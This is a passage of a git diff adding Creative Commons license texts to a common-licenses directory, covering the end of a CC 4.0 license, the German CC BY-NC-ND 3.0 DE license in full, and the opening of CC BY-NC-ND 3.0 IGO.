+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE b/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE
new file mode 100644
index 0000000000..06d59d675a
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-3.0-DE
@@ -0,0 +1,101 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung - Keine Bearbeitungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Weitergehende Änderungen oder Abwandlungen sind jedoch untersagt. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ f. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die den Schutzgegenstand enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ c. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ d. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) angeboteten Lizenzen aus.
+
+ e. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO b/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO
new file mode 100644
index 0000000000..c5b3226c18
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-ND-3.0-IGO
@@ -0,0 +1,99 @@
+Attribution-NonCommercial-NoDerivs 3.0 IGO
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. THE LICENSOR IS NOT NECESSARILY AN INTERGOVERNMENTAL ORGANIZATION (IGO), AS DEFINED IN THE LICENSE BELOW.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("LICENSE"). THE LICENSOR (DEFINED BELOW) HOLDS COPYRIGHT AND OTHER RIGHTS IN THE WORK. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION FOR YOUR ACCEPTANCE AND AGREEMENT TO THE TERMS OF THE LICENSE.
+
+1. Definitions
+
+ a. "IGO" means, solely and exclusively for purposes of this License, an organization established by a treaty or other instrument governed by international law and possessing its own international legal personality. Other organizations established to carry out activities across national borders and that accordingly enjoy immunity from legal process are also IGOs for the sole and exclusive purposes of this License. IGOs may include as members, in addition to states, other entities.
+
+ b. "Work" means the literary and/or artistic work eligible for copyright protection, whatever may be the mode or form of its expression including digital form, and offered under the terms of this License. It is understood that a database, which by reason of the selection and arrangement of its contents constitutes an intellectual creation, is considered a Work.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License and may be, but is not necessarily, an IGO.
+
+ d. "You" means an individual or entity exercising rights under this License.
+
+ e. "Reproduce" means to make a copy of the Work in any manner or form, and by any means.
+
+ f. "Distribute" means the activity of making publicly available the Work (or copies of the Work), as applicable, by sale, rental, public lending or any other known form of transfer of ownership or possession of the Work or copy of the Work.
+
+ g. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+
+ h. "Adaptation" means a work derived from or based upon the Work, or upon the Work and other pre-existing works. Adaptations may include works such as translations, derivative works, or any alterations and arrangements of any kind involving the Work. For purposes of this License, where the Work is a musical work, performance, or phonogram, the synchronization of the Work in timed-relation with a moving image is an Adaptation. For the avoidance of doubt, including the Work in a Collection is not an Adaptation.
+
+ i. "Collection" means a collection of literary or artistic works or other works or subject matter other than works listed in Section 1(b) which by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. For the avoidance of doubt, a Collection will not be considered as an Adaptation.
+
+2. Scope of this License. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright protection.
+
+3. License Grant. Subject to the terms and conditions of this License, the Licensor hereby grants You a worldwide, royalty-free, non-exclusive license to exercise the rights in the Work as follows:
+
+ a. to Reproduce, Distribute and Publicly Perform the Work, to incorporate the Work into one or more Collections, and to Reproduce, Distribute and Publicly Perform the Work as incorporated in the Collections.
+
+This License lasts for the duration of the term of the copyright in the Work licensed by the Licensor. The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats, but otherwise you have no rights to make Adaptations. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to the rights set forth in Section 4(d).
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work (see section 8(a)). You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from a Licensor You must, to the extent practicable, remove from the Collection any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(c), as requested.
+
+ b. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be primarily intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ c. If You Distribute, or Publicly Perform the Work or any Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) any attributions that the Licensor indicates be associated with the Work as indicated in a copyright notice, (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work. The credit required by this Section 4(c) may be implemented in any reasonable manner; provided, however, that in the case of a Collection, at a minimum such credit will appear, if a credit for all contributors to the Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Licensor or others designated for attribution, of You or Your use of the Work, without the separate, express prior written permission of the Licensor or such others.
+
+ d. For the avoidance of doubt:
+
+ i. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
